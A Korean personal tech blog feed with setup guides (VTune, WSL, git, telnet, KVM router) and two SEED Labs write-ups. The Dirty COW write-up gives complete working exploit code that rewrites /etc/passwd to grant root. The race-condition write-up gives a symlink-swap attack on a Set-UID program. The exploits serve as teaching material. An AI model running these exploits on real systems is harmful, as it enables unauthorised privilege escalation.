marco

[Ubuntu 20.04] How to install Intel VTune on Ubuntu

MarcoKhan — Tue, 18 Jan 2022 22:22:10 +0900

본 포스팅에서는 Ubuntu 20.04에서 최신 버전의 Intel VTune을 설치하는 방법에 대해 기술한다.

Intel VTune은 프로그램 성능을 측정하기 위해 사용되는 툴 중 하나로서 많은 개발자들에 의해 사용되고 있다.

최신 버전의 VTune은 (Version 2022.1.1) 설정하기 까다로운 부분이 존재하기 때문에 해당 내용을 본 포스팅에 기술한다.

1. Intel VTune 다운로드

VTune은 다음과 같이 Intel 공식 사이트에서 다운받을 수 있다.

(https://www.intel.com/content/www/us/en/developer/tools/oneapi/vtune-profiler.html#gs.m7u8g1)

사용자의 시스템 구성에 따라 "Develop in the Cloud"와 Download the Toolkit" 둘 중 하나를 선택하면 된다.

필자는 "Download the Toolkit"을 선택하였다.

이후 다음과 같이 "Operating System", "Distribution", "Installer Type"을 선택하였다.

이후 "Download" 버튼을 클릭하면 "~/Download" 경로에 "L_BaseKit_p_2022.1.1.119.sh" 파일이 존재한다.

* sh 파일은 버전에 따라 다를 수 있다.

이후 "~/Download" 경로에서 아래의 명령어로 Intel VTune 설치를 수행할 수 있다.

sudo sh ./l_BaseKit_p_2022.1.1.119.sh

이후 웬만하면 동의 버튼을 모두 누른 후 설치를 하면 된다.

설치 방법은 아래와 같이 "Recommended Installation"과 "Custom Installation" 이렇게 두 가지를 선택할 수 있다.

특별한 경우가 아니라면 "Recommended Installation"을 선택하자.

이후, 아래와 같은 화면 ("Intel oneAPI Base Toolkit")을 만났다면 설치가 100% 완료될 때까지 기다리자.

2. Profiling을 위한 환경 설정

기본적으로 설치가 끝나면 다음과 같은 경로에 Intel VTune 설치 및 실행 관련 파일이 저장되어 있다

/opt/intel/oneapi/vtune/latest

이후, 간단한 sample 바이너리 실행을 위해 다음과 같은 command로 vtune를 실행시킬 수 있다.

/opt/intel/oneapi/vtune/2022.0.0/bin64$ ./vtune-gui

하지만, 다음과 같이 Performance 프로파일 도구들을 곧 바로 사용할 수 없다.

HotSpot의 경우는 다음과 같은 에러가 존재한다.

이를 해결하기 위해 "/etc/sysctl.d/10-ptrace.conf"에서 다음과 같이 "kernel.yama.ptrace_scope" 변수를 수정 해야한다.

sudo vi /etc/sysctl.d/10-ptrace.conf

kernel.yama.ptrace_scope = 0

Microarchitecture Exploration은 다음과 같은 경고가 존재한다.

이것은 다음과 같은 명령으로 "/proc/sys/kernel/kptr_restrict" 값을 변경할 수 있다.

$ su
Passwd:

# echo 0 > /proc/sys/kernel/kptr_restrict

만일 "Input and Output"에서 문제가 발생하면 해결하기가 꽤 어려워진다.

간단하게 정리하면 Intel에서 제공하는 Sampling Driver 설치가 정상적으로 되었는지 확인 해야한다.

다음과 같은 방법으로 설치 여부를 확인할 수 있다.

$ cd /opt/intel/openapi/vtune/2022.0.0/sepdk/src
$ ./insmod-sep -q

만일 해당 명령어의 결과에 특정 드라이버가 정상적으로 로드되지 않았다라고 하면 실제로 해당 모듈들이 로드되지 않았는지 "lsmod"로 확인 해야한다.

만일 해당 모듈들이 로드되어 있다면 이것은 group ownership의 문제이다.

"./insmod-sep -q"의 결과를 잘 확인해보면 대부분의 커널 모듈의 group이 "vtune"으로 설정되어 있다.

이것을 현재 사용자 계정의 그룹으로 변경 해주어야 한다.

이것은 다음과 같은 명령어로 해결이 가능하다.

$ ./boot-script -g <user name>

이후 다시"./insmod-sep -q"의 결과를 확인해보면 커널 모듈의 group이 바뀐 것을 확인할 수 있다.

Trouble-shooting on boot-script

간혹 boot-script를 이용해 해당 문제를 해결하려고 하더라도, group을 변경시키지 못할 때가 존재한다.

아래 사이트를 이용하여 해당 문제를 해결할 수 있다.

1. Build the Sampling Driver

2. Install the Sampling Drivers

위와 같은 두 단계를 수행하면 된다.

https://www.intel.com/content/www/us/en/develop/documentation/vtune-help/top/set-up-analysis-target/linux-targets/build-install-sampling-drivers-for-linux-targets.html

[Ubuntu 20.04] How to fix the CPU frequency to the base CPU frequency

MarcoKhan — Wed, 29 Dec 2021 17:20:40 +0900

본 포스팅에서는 CPU frequency를 base frequency로 설정하는 방법에 대해 기술한다.

일반적으로 Intel CPU의 경우 default로 P-state 설정을 사용하고 있다.

구체적으로는, Speed Step과 Intel Turbo Boost를 사용하여 효과적은 전력 관리를 위해 동적으로 전압과 주파수를 조절한다.

하지만, 때때로 실험을 위해 CPU frequency를 고정해야할 경우가 있다.

1. Intel Turbo Boost disable

Intel Turbo Boost 기능을 사용하지 않기 위해서는 BIOS에서 해당 기능을 변경해 야한다.

[Enabled -> Disabled]

2. Installing cpufrequtils

cpufrequtils는 쉽게 CPU frequency를 조절할 수 있도록 편리성을 제공하는 패키지이다.

아래의 명령어를 통해 쉽게 cpufrequtils를 설치할 수 있다.

$ sudo apt-get install cpufrequtils

설치 후 cpufrequtils 설정 파일을 수정하여 CPU frequency를 조절할 수 있다.

$ sudo vi /etc/init.d/cpufrequilts

이후 아래 그림처럼 Governor를 "ondemand"에서 "performance"로 수정한다.

우리는 이제 다음과 같은 명령어로 cpu frequency를 고정할 수 있다.

$ sudo systemctl daemon-reload
$ sudo /etc/init.d/cpufrequtils restart

이후 cpufreq-info 명령을 통해 모든 코어의 CPU frequency가 base CPU frequency로 변경된 것을 확인할 수 있다.

How to install WSL on Windows 10

MarcoKhan — Tue, 14 Sep 2021 14:41:03 +0900

Windows 10부터 Vmware, VirtualBox 등을 사용하지 않고 Linux를 사용할 수 있는 WSL(Windows Subsystem Linux) 기능을 제공한다.

본 포스팅에서는 Windows 10에서 WSL을 설치하는 방법에 대해 기술한다.

1. Windows 기능 켜기/끄기

일반적으로 WSL 기능은 Windows 10 환경에서 disabled 되어 있다. 따라서 사용자가 직접 enabled 해주어야 한다.

[그림 1]을 참고하여 "Windows 기능 켜기/끄기"를 선택한다.

[그림 1] Windows 기능 켜기/끄기

이후 "Linux용 Windows 하위 시스템" 체크박스를 클릭하여 활성화 한다. [그림 2] 참고

[그림 2] Linux용 Windows 하위 시스템 체크

일반적으로 WSL 기능을 enabled 시킨 뒤 확인 버튼을 누르면 Windows가 해당 요청사항을 시스템에 반영하고 사용자에게 재부팅을 요구한다.

원활한 설치를 위해 PC를 재부팅하는 것을 권장한다.

2. Ubuntu 설치

글을 쓰는 시점에는 Ubuntu 18.04 LTS, Ubuntu 20.04 LTS 이렇게 두 가지 버전을 제공하는 것 같다.

Windows 검색창에 "Microsoft Store"를 검색한다. [그림 3] 참고

[그림 3] Microsoft Store 검색

Microsoft Store 앱을 실행한 뒤 우측 상단에 "wsl" 문자열을 검색하면 [그림 4]와 같이 설치할 수 있는 여러 linux 계열 OS들을 확인할 수 있다.

[그림 4] "wsl"의 문자열 검색 결과

"Ubuntu 20.04 LTS" or "Ubuntu 18.04 LTS" 를 선택한 뒤 "받기" 버튼을 눌러 해당 OS를 Windows 10에 설치할 수 있다.

이후 Windows 검색창에 설치한 OS의 이름을 검색하여 Ubuntu CLI를 실행할 수 있다. [그림 5] 참고

[그림 5] 성공적인 Ubuntu 18.04 LTS WSL 설치

이후 사용자가 hostname과 pw를 설정하면 성공적인 WSL 설치가 완료된 것이다.

Github clone, add, commit, push

MarcoKhan — Tue, 30 Mar 2021 17:44:45 +0900

간단하게 Github를 이용하여 코드 관리하는 방법에 대해 기술한다.

필자는 우분투 20.04에서 실험을 진행했다.

git clone

github의 repository를 현재 디렉터리에 복사하는 방법이다.

git clone https://github.com/git/git.git

아래 그림처럼 github repository에 대한 URL은 다음과 같은 방법으로 알아낼 수 있다.

git add

repository에 변경된 내용을 Staging Area에 저장한다.

여기서 Staging Area는 commit 전에 변경된 내용이 대기하는 장소이다.

git add .

현재 디렉터리의 모든 변경 기록들을 Staging Area로 전달한다.

git add -A

모든 변경된 내용을 Staging Area로 전달한다. 현재 디렉토리 이외의 모든 변경 내용을 전달한다.

git commit

Staging Area에 있는 내용들을 local repository에 전달한다.

지금까지 변경된 사항을 repository에 확실하게 반영한다는 의미로 이해하면 될 것 같다.

git commit -m "comment"

-m 옵션을 통해 commit에 대한 comment를 남길 수 있다.

git push

local repository의 파일을 remote repository에 저장한다.

local repository에 작업한 내용들을 외부로 공개하는 개념이다.

git push

SEEDLAB Chap 8: Dirty Cow Attack Lab

MarcoKhan — Sun, 21 Mar 2021 22:09:32 +0900

"Computer & Internet security : A Hand-on Approach" 서적의 내용 중 System security에 관련된 내용을 기술한다.

본 블로그에서는 7장 "Dirty Cow Attack"에 대한 실습 내용을 풀이한다.

SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.

Task 1: Modify a Dummy Read-onlyt File

The objective of this task is to write to a read-only file using the Dirty COW vulnerability.

2.1 Create a Dummy File

We first need to select a target file. Although this file can be any read-only file in the system, we will use a dummy file in this task, so we do not corrupt an important system file in case we make a mistake. Please create a file called zzz in the root directory, change its permission to read-only for normal users, and put some random content into the file using an editor such as gedit.

$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
$ echo 99999 > /zzz
bash: /zzz: Permission denied

From the above experiment, we can see that if we try to write to this file as a normal user, we will fail, because the file is only readable to normal users. However, because of the Dirty COW vulnerability in the system, we can find a way to write to this file. Our objective is to replace the pattern "222222" with "******".

2.2 Set Up the Memory Mapping Thread

You can download the program cow attack.c from the website of the lab. The program has three threads: the main thread, the write thread, and the madvise thread. The main thread maps /zzz to memory, finds where the pattern "222222" is, and then creates two threads to exploit the Dirty COW race condition vulnerability in the OS kernel.

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/zzz", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222222");               				// Line A         

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 		// Line B
  pthread_create(&pth2, NULL, writeThread, position);             		// Line C

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg)
{
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}

In the above code, we need to find where the pattern "222222" is. We use a string function called strstr() to find where "222222" is in the mapped memory (Line A). We then start two threads: madviseThread (Line B) and writeThread (Line C).

2.3 Set Up the write Thread

The job of the write thread listed in the following is to replace the string "222222" in the memory with "******". Since the mapped memory is of COW type, this thread alone will only be able to modify the contents in a copy of the mapped memory, which will not cause any change to the underlying /zzz file.

2.4 Set Up the madvise Thread

The madvise thread does only one thing: discarding the private copy of the mapped memory, so the page table can point back to the original mapped memory.

2.5 Launch the Attack

If the write() and the madvise() system calls are invoked alternatively, i.e., one is invoked only after the other is finished, the write operation will always be performed on the private copy, and we will never be able to modify the target file. The only way for the attack to succeed is to perform the madvise() system call while the write() system call is still running. We cannot always achieve that, so we need to try many times. As long as the probability is not extremely low, we have a chance. That is why in the threads, we run the two system calls in an infinite loop. Compile the cow attack.c and run it for a few seconds. If your attack is successful, you should be able to see a modified /zzz file. Report your results in the lab report and explain how you are able to achieve that.

seed@ubuntu:~/Computer_Security/chap8$ gedit cow_attack.c
seed@ubuntu:~/Computer_Security/chap8$ gcc cow_attack.c -lpthread
seed@ubuntu:~/Computer_Security/chap8$ a.out 
^C // wait a sec
seed@ubuntu:~/Computer_Security/chap8$ cat /zzz
111111******33333
seed@ubuntu:~/Computer_Security/chap8$

Task 2: Modify the Password File to Gain the Root Privilege

Now, let’s launch the attack on a real system file, so we can gain the root privilege. We choose the /etc/passwd file as our target file. This file is world-readable, but non root users cannot modify it. The file contains the user account information, one record for each user. Assume that our user name is seed . The following lines show the records for root and seed:

root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash

Each of the above record contains seven colon-separated fields. Our interest is on the third field, which specifies the user ID (UID) value assigned to a user. UID is the primary basis for access control in Linux, so this value is critical to security. The root user’s UID field contains a special value 0; that is what makes it the superuser, not its name. Any user with UID 0 is treated by the system as root, regardless of what user name he or she has. The seed user’s ID is only 1000, so it does not have the root privilege. However, if we can change the value to 0, we can turn it into root. We will exploit the Dirty COW vulnerability to achieve this goal.

In our experiment, we will not use the seed account, because this account is used for most of the experiments in this book; if we forget to change the UID back after the experiment, other experiments will be affected. Instead, we create a new account called charlie, and we will turn this normal user into root using the Dirty COW attack. Adding a new account can be achieved using the adduser command. After the account is created, a new record will be added to /etc/passwd. See the following:

$ sudo adduser charlie
...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1003:,,,:/home/charlie:/bin/bash

We suggest that you save a copy of the /etc/passwd file, just in case you make a mistake and corrupt this file. An alternative is to take a snapshot of your VM before working on this lab, so you can always roll back if the VM got corrupted.

Task: You need to modify the charlie’s entry in /etc/passwd, so the third field is changed from 1001 to 0000, essentially turning charlie into a root account. The file is not writable to charlie, but we can use the Dirty COW attack to write to this file. You can modify the cow attack.c program from Task 1 to achieve this goal. After your attack is successful, if you switch user to charlie, you should be able to see the # sign at the shell prompt, which is an indicator of the root shell. If you run the id command, you should be able to see that you have gained the root privilege.

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
#include <unistd.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

void *writeThread(void *arg)
{
  char *content = "charlie:x:0000";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1){
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
    madvise(map, file_size, MADV_DONTNEED);
  }
}


int main(int argc, char *argv[])
{
  pthread_t pth1, pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode
  int f = open("/etc/passwd", O_RDONLY);

  // Map the file to COW memory using MAP_PRIAVTE
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "charlie:x:1001");

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
  pthread_create(&pth2, NULL, writeThread, position);

  // Wait for the threads to finish
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);

  return 0;
}

Result

seed@ubuntu:~/Computer_Security/chap8$ gcc cow_attack_task.c  -lpthread
seed@ubuntu:~/Computer_Security/chap8$ ./a.out 
^C  // Wait a Sec
seed@ubuntu:~/Computer_Security/chap8$ su charlie 
Password: 
root@ubuntu:/home/seed/Computer_Security/chap8# exit

SEEDLAB Chap 7: Race Condition Vulnerability Lab

MarcoKhan — Thu, 18 Feb 2021 21:50:55 +0900

"Computer & Internet security : A Hand-on Approach" 서적의 내용 중 System security에 관련된 내용을 기술한다.

본 블로그에서는 7장 "Race Condition Vulnerability"에 대한 실습 내용을 풀이한다.

SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.

Initial Setup

Ubuntu 10.10부터 Race Condition에 대한 방어기법이 OS에 적용되어 있다. 따라서 이에 대한 countermeasure를 disable 해야한다.

Ubuntu 10.10 and later come with a built-in protection against race condition attacks. This scheme works by restricting who can follow a symlink. According to the documentation, “symlinks in world-writable sticky directories (e.g. /tmp) cannot be followed if the follower and directory owner do not match the symlink owner.” In this lab, we need to disable this protection. You can achieve that using the following commands:

// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0

A Vulnerable Program

The following program is a seemingly harmless program. It contains a race-condition vulnerability.

/* vulp.c */
#include <stdio.h>
#include <string.h>
#include<unistd.h>

int main()
{
	char * fn = "/tmp/XYZ";
	char buffer[60];
	FILE *fp;

	/* get user input */
	scanf("%50s", buffer );

	if(!access(fn, W_OK)){ 								// Line 1
		fp = fopen(fn, "a+"); 							// Line 2
	fwrite("\n", sizeof(char), 1, fp);			
    	fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
	else printf("No permission \n");
    
    return 0;
}

The program above is a root-owned Set-UID program; it appends a string of user input to the end of a temporary file /tmp/XYZ. Since the code runs with the root privilege, i.e., its effective user ID is zero, it can overwrite any file. To prevent itself from accidentally overwriting other people’s file, the program first checks whether the real user ID has the access permission to the file /tmp/XYZ; that is the purpose of the access() call in Line 1. If the real user ID indeed has the right, the program opens the file in Line 2 and append the user input to the file.

At first glance the program does not seem to have any problem. However, there is a race condition vulnerability in this program: due to the time window between the check (access()) and the use (fopen()), there is a possibility that the file used by access() is different from the file used by fopen(), even though they have the same file name /tmp/XYZ. If a malicious attacker can somehow make /tmp/XYZ a symbolic link pointing to a protected file, such as /etc/passwd, inside the time window, the attacker can cause the user input to be appended to /etc/passwd and as a result gain the root privilege. The vulnerable runs with the root privilege, so it can overwrite any file.

Set up the Set-UID program. We first compile the above code, and turn its binary into a Set-UID
program that is owned by the root. The following commands achieve this goal:

$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp

Task 1: Choosing Our Target

We would like to exploit the race condition vulnerability in the vulnerable program. We choose to target the password file /etc/passwd, which is not writable by normal users. By exploiting the vulnerability, we would like to add a record to the password file, with a goal of creating a new user account that has the root privilege. Inside the password file, each user has an entry, which consists of seven fields separated by colons (:). The entry for the root user is listed below. For the root user, the third field (the user ID field) has a value zero. Namely, when the root user logs in, its process’s user ID is set to zero, giving the process the root privilege. Basically, the power of the root account does not come from its name, but instead from the user ID field. If we want to create an account with the root privilege, we just need to put a zero in this field.

root:x:0:0:root:/root:/bin/bash

Each entry also contains a password field, which is the second field. In the example above, the field is set to "x", indicating that the password is stored in another file called /etc/shadow (the shadow file). If we follow this example, we have to use the race condition vulnerability to modify both password and shadow files, which is not very hard to do. However, there is a simpler solution. Instead of putting "x" in the password file, we can simply put the password there, so the operating system will not look for the password from the shadow file.

The password field does not hold the actual password; it holds the one-way hash value of the password. To get such a value for a given password, we can add a new user in our own system using the adduser command, and then get the one-way hash value of our password from the shadow file. Or we can simply copy the value from the seed user’s entry, because we know its password is dees. Interestingly, there is a magic value used in Ubuntu live CD for a password-less account, and the magic value is U6aMy0wojraho (the 6th character is zero, not letter O). If we put this value in the password field of a user entry, we only need to hit the return key when prompted for a password.

Warning. In the past, some students accidentally emptied the /etc/passwd file during the attack (this could be caused by some race condition problems inside the OS kernel). If you lose the password file, you will not be able to log in again. To avoid this trouble, please make a copy of the original password file or take a snapshot of the VM. This way, you can easily recover from the mishap.

Task 2.A: Lauching the Race Condition Attack

The goal of this task is to exploit the race condition vulnerability in the vulnerable Set-UID program listed

earlier. The ultimate goal is to gain the root privilege.

The most critical step (i.e., making /tmp/XYZ point to the password file) of our race condition attack must occur within the window between check and use; namely between the access() and the fopen() calls in the vulnerable program. Since we cannot modify the vulnerable program, the only thing that we can do is to run our attacking program in parallel to “race” against the target program, hoping to win the race condition, i.e., changing the link within that critical window. Unfortunately, we cannot achieve the perfect timing. Therefore, the success of attack is probabilistic. The probability of successful attack might be quite low if the window are small. You need to think about how to increase the probability. For example, you can run the vulnerable program for many times; you only need to achieve success once among all these trials.

Creating symbolic links. You can call C function symlink() to create symbolic links in your program. Since Linux does not allow one to create a link if the link already exists, we need to delete the old link first. The following C code snippet shows how to remove a link and then make /tmp/XYZ point to /etc/passwd:

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

You can also use Linux command "ln -sf" to create symbolic links. Here the "f" option means that if the link exists, remove the old one first. The implementation of the "ln" command actually uses unlink() and symlink().

Running the attack program. After you have implemented the attack program, you should run it in the background, and then run the vulnerable program in parallel. If the attack fails, the vulnerable program will crash, so you need to run the vulnerable program repeatedly until the attack is successful.

Running the vulnerable program and monitoring results. Since you need to run the vulnerable program for many times, you need to write a program to automate the attack process. To avoid manually typing an input to the vulnerable program vulp, you can use input redirection. Namely, you save your input in a file, and ask vulp to get the input from this file using "vulp < inputFile".

It may take a while before our attack can successfully modify the password file, so we need a way to automatically detect whether the attack is successful or not. There are many ways to do that; an easy way is to monitor the timestamp of the file. The following shell script runs the "ls -l" command, which outputs several piece of information about a file, including the last modified time. By comparing the outputs of the command with the ones produced previously, we can tell whether the file has been modified or not.

The following shell script runs the vulnerable program (vulp) in a loop, using passwd input as the input. If the attack is successful, i.e., the passwd is modified, the shell script will stop. You do need to be a little bit patient. Normally, you should be able to succeed within 5 minutes.

#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)

while [ "$old" == "$new" ] // Check if /etc/passwd is modified
do
  ./vulp < passwd_input // Run the vulnerable program
  new=$($CHECK_FILE)
done

echo "STOP... The passwd file has been changed"

A Note. If after 10 minutes, your attack is still not successful, you can stop the attack, and check the ownership of the /tmp/XYZ file. If the owner of this file becomes root, manually delete this file, and try your attack again, until your attack becomes successful. Please document this observation in your lab report. In Task 2.B, we will explain the reason and provide an improved attack method.

Task 2.B: An Improved Attack Method

In Task 2.A, if you have done everything correctly, but still could not succeed in the attack, check the ownership of /tmp/XYZ. You will find out that /tmp/XYZ’s owner has become root (normally, it should be seed). If this happens, your attack will never succeed, because your attack program, running with the seed privilege, can no longer remove or unlink() it. This is because the /tmp folder has a “sticky” bit on, meaning that only the owner of the file can delete the file, even though the folder is world-writable.

In Task 2.A, we let you use the root’s privilege to delete /tmp/XYZ, and then try your attack again. The undesirable condition happens randomly, so by repeating the attack (with the “help” from root), you will eventually succeed in Task 2.A. Obviously, getting help from root is not a real attack. We would like to get rid of that, and do it without root’s help.

The main reason for that undesirable situation is that our attack program has a problem, a race condition problem, the exact problem that we are trying to exploit in the victim program. How ironic! In the past, when we saw that problem, we simply advised students to delete the file and try the attack again. Thanks to one of my students, who was determined to figure out what the problem was. Because of his effort, we finally understand why and have an improved solution.

The main reason for the situation to happen is that the attack program is context switched out right after it removes /tmp/XYZ (i.e., unlink()), but before it links the name to another file (i.e., symlink(). Remember, the action to remove the existing symbolic link and create a new one is not atomic (it involves two separate system calls), so if the context switch occurs in the middle (i.e., right after the removal of /tmp/XYZ), and the target Set UID program gets a chance to run its fopen(fn, "a+") statement, it will create a new file with root being the owner. After that, your attack program can no longer make changes to /tmp/XYZ.

Basically, using the unlink() and symlink() approach, we have a race condition in our attack program. Therefore, while we are trying to exploit the race condition in the target program, the target program may accidentally “exploit” the race condition in our attack program, defeating our attack. To solve this problem, we need to make unlink() and symlink() atomic. Fortunately, there is a system call that allows us to achieve that. More accurately, it allows us to atomically swap two symbolic links. The following program first makes two symbolic links /tmp/XYZ and /tmp/ABC, and then using the SYS renameat2 system call to atomically switch them. This allows us to change what /tmp/XYZ points to without introducing any race condition. It should be noted that there is no function wrapper for the SYS renameat2 system call in the libc library on Ubuntu 16.04, so we have to invoke the system call using syscall(), instead of invoking it like a normal function call.

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main()
{
  unsigned int flags = RENAME_EXCHANGE;
  
  unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
  unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
  
  syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
  
  return 0;
}

Tasks. Please revise your attack program using this new strategy, and try your attack again. If everything is done correctly, your attack should be able to succeed.

Task 3: Countermeasure: Applying the Principle of Least Privilege

The fundamental problem of the vulnerable program in this lab is the violation of the Principle of Least Privilege. The programmer does understand that the user who runs the program might be too powerful, so he/she introduced access() to limit the user’s power. However, this is not the proper approach. A better approach is to apply the Principle of Least Privilege; namely, if users do not need certain privilege, the privilege needs to be disabled.

We can use seteuid system call to temporarily disable the root privilege, and later enable it if necessary. Please use this approach to fix the vulnerability in the program, and then repeat your attack. Will you be able to succeed? Please report your observations and provide explanation.

Taks 4: Countermeasure: Using Ubuntu's Built-in Scheme

Ubuntu 10.10 and later come with a built-in protection scheme against race condition attacks. In this task, you need to turn the protection back on using the following commands:

// On Ubuntu 12.04, use the following command:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

// On Ubuntu 16.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1

Conduct your attack after the protection is turned on. Please describe your observations. Please also explain the followings: (1) How does this protection scheme work? (2) What are the limitations of this scheme?

[Ubuntu 20.04] How to install Telnet

MarcoKhan — Sun, 7 Feb 2021 13:52:31 +0900

이번 장에서는 Ubuntu 20.04 환경에서 Telnet을 설치하는 방법에 대해 기술한다.

Telnet

Telnet은 인터넷 or 로컬 네트워크를 이용해 원격 접속을 가능하게 하는 네트워크 프로토콜이다.

TCP/IP 기반으로 구현되었으며, TCP 23 port를 사용한다.

Telnet 설치 방법

Telnet을 설치하기 위해 아래의 명령어를 입력해야 한다.

우선 Telnet을 사용하기 위한 package를 설치한다.

$ sudo apt-get install xinetd telnetd

pacakge 설정 후 telnet 연결을 위한 설정 파일을 생성해주어야 한다.

경로는 "/etc/xinted.d/" 이다.

$ sudo vi /etc/xinetd.d/telnet

service telnet
{
	disable = no
    flags = REUSE
    socket_type = stream
    wait = no
    user = root
    server = /usr/sbin/in.telnetd
    log_on_failure += USERID
}

telnet 설정파일 작업을 완료한 후 xinetd daemon을 재시작하고, 23/tcp 포트를 방화벽에서 open 해준다.

$ sudo systemctl restart xinetd
$ sudo systemctl enable xinetd
$ sudo ufw allow 23/tcp

이제 host machine 에서 원격지 machine에 다음과 같은 명령어로 telnet 접속을 시도할 수 있다.

$ telnet [IP address of destination server]

[Ubuntu 20.04] Router setup using the KVM

MarcoKhan — Thu, 4 Feb 2021 22:01:11 +0900

Ubuntu 20.04가 되면서 Network setting의 많은 부분이 변경되었다.

이번 블로그에서는 Ubuntu 20.04 환경에서 KVM을 이용해 router를 구축하는 방법에 대해 소개한다.

Network description

구성하려는 Network의 모식도는 다음과 같다.

Network configuration

Router를 사용하는 네트워크 구성은 총 3 단계로 구성된다.

단계 1: Host와 Router 사이의 Bridge 설정

이 과정은 router와 router에 연결된 VM1, VM2가 router를 통해 인터넷을 사용할 수 있도록 Host와 router를 bridge로 연결한다.

KVM 환경에서 Host와 가상머신 사이의 bridge 설정은 아래 URL에 정리되어 있다.

marcokhan.tistory.com/244

[Ubuntu 18.04/20.04] Ubuntu Host, KVM network bridge setting

네트워크 환경(Interface)를 확인하기 위해 아래의 명령을 실행한다. $ ifconfig 인터페이스 이름이 ens33 으로 설정된 것을 확인할 수 있다. 꼭 ens33이 아닐 수 있으니, ethernet과 flag의 를 확인하면 된다.

marcokhan.tistory.com

단계 2: Router 설정

Network description에서 본 모식도처럼 Router는 3개의 NIC interface를 가지고 있다.

단계 1에서 bridge 설정을 하면 Br0 network interface가 생기고, default Virtual Network가 존재하기 때문에 한 개의 Virtual Network 만 추가 설정 해주면 된다.

아래 명령어로 Virtual Machine Manager를 띄운다.

$ sudo virt-manager

아래와 같은 화면을 볼 수 있다.

상단 Edit -> Connection Details를 선택하면 아래와 같은 화면을 볼 수 있다.

왼쪽 하단의 + 버튼을 이용해 Virtual Network 추가를 할 수 있다.

되도록이면 추천해주는 Network 대역을 사용하길 권장한다.

이제 3개의 Virtual Network를 설정했으니 Router에서 두 개의 NIC interface를 추가하고 각각 다른 netowrk 대역을 할당한다.

자. 이제 Router VM을 실행시켜 IP 설정을 해주자.

Router의 IP는 host number가 1이 된다. 즉, C class에서 192.168.100.1/24 등이 될 수 있다.

Ubuntu 20.04에서는 아래와 같은 경로에서 IP 설정이 가능하다.

$ sudo vi /etc/netplan/01-network-manager-all.yaml

아래와 같이 설정 파일을 작성하자.

일반적으로 router는 gateway4가 필요없다.

closed network를 만들기 위해서 gateway4를 설정하면 되고,

open network를 구성하기 위해서 gateway4를 삭제하면 된다.

# Let NetworkManager manage all devices on this system
#network:
#  version: 2
#  renderer: NetworkManager

network:
  version: 2
  renderer: networkd
  ethernets:
    enp1s0:
      dhcp4: true
    enp6s0:
      dhcp4: false
      addresses: [192.168.122.1/24]
      nameservers:
       addresses: [8.8.8.8,8.8.4.4]
    enp7s0:
      dhcp4: false
      addresses: [192.168.100.1/24]
      nameservers:
       addresses: [8.8.8.8,8.8.4.4]

설정을 적용하기 위해서 아래의 명령어를 주어야한다.

$ sudo netplan apply

enp1s0는 network를 위한 NIC interface이고, enp6s0, enp7s0는 각각 VM1, VM2와 연결된 NIC interface이다.

모두 C class network를 사용하고, host number가 1이라는 것을 알아두자.

추가적으로 router OS가 아닌 일반 OS는 default로 ip forward 기능이 disabled 되어 있다.

다음과 같이 설정하여 ubuntu 20.04의 ip forward 기능을 enable 시키자.

sudo vi /etc/sysctl.conf
net.ipv4.ip_forward=1

sudo sysctl net.ipv4.ip_forward
sudo sysctl -p
sudo sysctl net.ipv4.ip_forward

ipv4.ip_forward가 1로 설정된 것을 확인해야 forwarding 기능이 정상 작동한다.

단계 3: VM 설정

